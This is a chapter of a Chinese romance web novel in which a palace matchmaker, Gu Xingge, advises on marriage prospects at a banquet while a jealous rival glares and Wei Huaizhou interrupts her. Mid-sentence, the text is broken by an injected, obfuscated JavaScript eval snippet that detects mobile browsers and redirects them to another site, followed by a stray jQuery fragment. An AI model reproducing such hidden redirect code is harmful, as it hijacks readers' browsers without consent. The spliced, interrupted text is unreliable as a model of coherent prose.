那内侍扯高了嗓门道:“请顾主簿入座。”
顾行歌愣了愣,迟迟没敢动,总觉得四面八方有好几道目光隔空扫来。
一旁的王景见她愣着,忍不住催促道:“顾主簿,陛下既派你来这太白山庄,这位置就是给你留的,你当坐,快坐下。”
顾行歌这才回过神来,对啊,她可是要给这殿上的青年才俊和世家贵女牵红线的。不坐得靠前一点,怎么观察?怎么牵线?
只是……
她看了眼另一边。
这旁边就是魏怀州……
再这么站下去,反倒只会更加引人注目,顾行歌此时想不了那么多了,心一横,硬着头皮坐下来。
刚一落座,她便觉一股充满敌意的目光自对面射来。抬头一看,正是严江月。只见她正死死盯着自己,仿佛要将人活生生吞下。顾行歌连忙朝她行了个礼,谁料严江月半分未解气,反而杏眼瞪得更大。
顾行歌心头一慌,连忙端起茶盏,慢慢抿了一口,以此掩饰内心的焦躁。
这不对啊,不都安排严江月坐在“那位”旁边了吗?按理说,这她应该感谢顾行歌才对,怎的反而这般充满敌意?
顾行歌用余光瞥了一眼对面,只见严江月从发髻上取下一支镶着翡翠的簪子,握在手中把玩着,那动作怎么看,都像是下一瞬就要朝顾行歌扔过来,直戳她的眼睛。
吓得顾行歌几乎是本能地往王景那边挪了半寸。
谁知这一回,她还没坐稳,便见严江月已将那支簪子从容插回发间,像是什么都没有发生一样。那张原本怒气冲冲的脸,也迅速恢复了往日傲娇的神情。
顾行歌却没因此感到轻松,反倒心头一跳,总觉得哪里不对劲。
难道这严大小姐是冲她来的?不对。可若真是针对她,为何方才她一挨近王景,这严江月反倒又恢复如常?
难道?
她不自觉瞟向坐在另一侧的魏怀州,只见他换了身玄色圆领袍,少有的用玉冠束了发,整个人更显俊俏。案几上的烛台遮住了他大半的脸,只露出那双清秀的眉眼。
顾行歌略一思忖,索性又往魏怀州那边靠了靠。
魏怀州感受到身侧柔软的衣袖擦过,身体一下子僵住了。他也端起案几上的茶盏,遮掩般地抿了几口,只是动作却有些生硬。
好在顾行歌全然没注意到他的异样,她的心思全在对面。她盯着严江月,瞧见这大小姐又从头上取下来一只更尖锐的金丝簪子。
果然!
顾行歌恍然大悟。
她想起方才耳边传来的那些闲言碎语。住在主院的,除了睿王,确实还有一人。
那便是,魏怀州。
严江月口口声声“那位、那位”的,哪里是什么睿王,分明是她身边的这位魏大人!
顾行歌正不知该如何应对此事。正好此时,一名身着锦服的女子款款走进殿内,远远地朝他们这边行了个礼,随后才在严江月身旁落座,微微俯身说了几句。
紧接着,几名内侍端着茶点鱼贯而入,彻底将严江月那略微凶狠的视线挡了个严严实实。
顾行歌暗暗松了口气,端起茶盏又慢慢啜了一口,等茶的热气慢慢散开来,她才回过味来。
好家伙,真有人喜欢魏怀州啊。
不过转念一想,也不算奇怪。魏怀州的出身摆在那。再加上眉眼清俊,身形挺拔,单论模样,饶是顾行歌见过那么多男子,这魏怀州也能排进前几位。
只是名声确实也不太好听。这性子……真要细说,也实在不大讨喜。
比如,动不动就给别人派活儿,还特别爱强迫人查案。说话还不算数。之前明明答应要给合婚司派个侍卫,结果最后还是她自己东奔西找,把何流云请来,才算解了燃眉之急。
想到这里,顾行歌心里哼了一声,索性往王景那边挪了挪。
王景正往嘴里偷塞一块绿豆糕,见她突然靠近,吓得忙囫囵吞下去:“我说顾主簿,何苦坐得离我这么近?这殿里又没你不认识的人啊,你怕个什么。”
顾行歌点了点头,顺手拈起一颗最圆的葡萄丢进嘴里,含糊地回道:“确实都认得。”
王景像是忽然想起什么似的,神秘兮兮地凑过来:“那以你们合婚司的经验来看,你觉得谁最有可能成为睿王妃?”
顾行歌一愣,险些被葡萄呛住,忙捂着嘴顺了好几口气。
她原本不想回答这种问题,毕竟牵扯到姑娘家的名声。可前几日王景也算救过她一回,总不好装聋作哑。无奈之下,她只好用手指了指方才进来、此刻正坐在严江月身边低声说话、非常端庄的那位年轻女子。
王景顺着看过去:“那不是京兆尹张大人家的二小姐吗?我记得她与我妹妹认识,名叫……”
“张绣莹。”顾行歌替他接了话。
王景道:“对对对,可你为何说是她啊?”
顾行歌道:“倒不是我胡乱猜测,只是最近新出的那份《京中贵女》的名册上,这位张小姐可是稳稳当当排在第一。她为人温婉娴静,出身又清贵,自然受到许多人的追捧。”
她想了想,又补充道:“其实这位张小姐原本还有个长姐。当年睿王还在京时,那位长姐与他交好,可惜红颜薄命,早早便去了。长姐刚去世的时候,张小姐悲痛欲绝,睿王怜惜她,便时常与她有书信往来,这事儿一度还成了一段佳话。偏民间那些少男少女,看完话本子就爱添枝加叶,硬生生把这两人推成了‘最般配的一对’,还投了个第一。”
王景追问道:“只是,不知道这张小姐,会不会在意睿王的病情。”
顾行歌慢悠悠地道:“我想,多半不会吧。”
其实,这些日子她跑了那么多家,这张府是第一个干脆应下来,有意愿与睿王结亲的人。若真是如此,想必张绣莹……多半是有情的吧。
王景见和顾行歌聊得还算投机,忽然想起自己心心念念的一桩事,便小心翼翼地开口:“其实,我这次来这山庄,还有一桩正事。”
顾行歌偏头看他,并没立刻接话。
王景接着道:“顾主簿应当知晓,我家里还有个妹妹,刚刚及笄。只是这丫头自小被宠惯了,骄纵得不行,父母实在放心不下。可女孩子大了,总得嫁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144453|175972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人不是?我这回来也想看看,这朝中可有好男儿……。”
顾行歌这下可算明白了。她本还暗暗腹诽,王景这人也太凉薄,幺娘的事才过多久,就能抛到脑后,笑吟吟跑来这座打着消暑的旗号、实际上是相亲大会的温泉山庄,勤快得很,好似要给自己寻个下一任。谁知仔细一听,竟是替自家妹妹物色人选。
她抬了抬下巴,示意道:“你看靠近门口的那位。”
那是个年轻男子,年纪不大,此刻正与旁边人低声说笑,眉眼间带着几分少年气。
顾行歌道:“那位是礼部侍郎钱大人的胞弟,在皇城司领了个差事。人长得一表人才,性子也温和。只是几年前父母便都没了,家里只剩他和他兄长两人,因此不少人嫌他根基单薄,不大愿意嫁,不过……”她目光落在那少年身上,“不过我倒觉得,此人倒也称得上是个良配之选。
王景果然听得连连点头,一副恍然大悟的模样。
宴席这头,魏怀州一直有些疑惑不解。方才顾行歌还好端端坐在自己身边,怎么一转眼就挪远了些。再一瞧,却见她正与王景肩并着肩,不知嘀嘀咕咕说些什么。
他侧耳一听,就捕到几句:“人长得一表人才。”“良配之选。”
这都什么话?
她一个未出阁的女子,当着这么多人的面,就这么点评来点评去的……莫不是,她自己也有这方面的想法?
魏怀州心头微微一沉,不知怎的,生出一股不大舒坦的滋味。可这股情绪来得没来由,他自己也说不清,只得默默听下去。
顾行歌指着钱大人旁边的一名男子,笑道:“此人是董皇妃的弟弟,今年刚二十,看着清秀,也尚未婚配……”
话音未落,就听身旁飘来一句:“这人前些日子在春华楼闹事,被关了好几日。”
顾行歌一愣,微微扭头,果然瞧见身后魏怀州,神情冷肃,一本正经地望着她与王景。
她现在可不敢多跟这人掰扯,只得敷衍般低声应了句:“多谢魏大人指点。”
话一落,她又扭回去,对王景继续介绍:“你正对面坐的,便是兵部孙侍郎的大公子,孙如。此人是康乐十三年的探花,学问极好,家境也殷实……”
“此人我晓得。”魏怀州却不紧不慢接了话,语气淡淡,“前阵子在京城外纵马,马惊伤了好几人,如今可是官司缠身。”
顾行歌这回彻底转过头来,盯着他。
这人是怎么回事?怎么一直拆她的台!
她气得心头直痒痒,偏又碍于场合,不敢声张,只得压低声音道:“魏大人,俗话说宁拆十座庙,不毁一桩婚。你之前坏了我合婚司两桩姻缘就算了,这回我不过给王公子指点一二,你为何又要处处相逼?”
魏怀州被她噎得一时说不出话来,他自己也说不清,怎么这回偏偏就忍不住要插上两句。
两人正僵持间,殿外忽然传来内侍尖亮的通报声音:“睿王陛下到——”
一时间,殿内人声尽收,交杯换盏的声响也尽数停歇。
顾行歌暗暗吐了口气,看来,这场宴席,终于要开始了。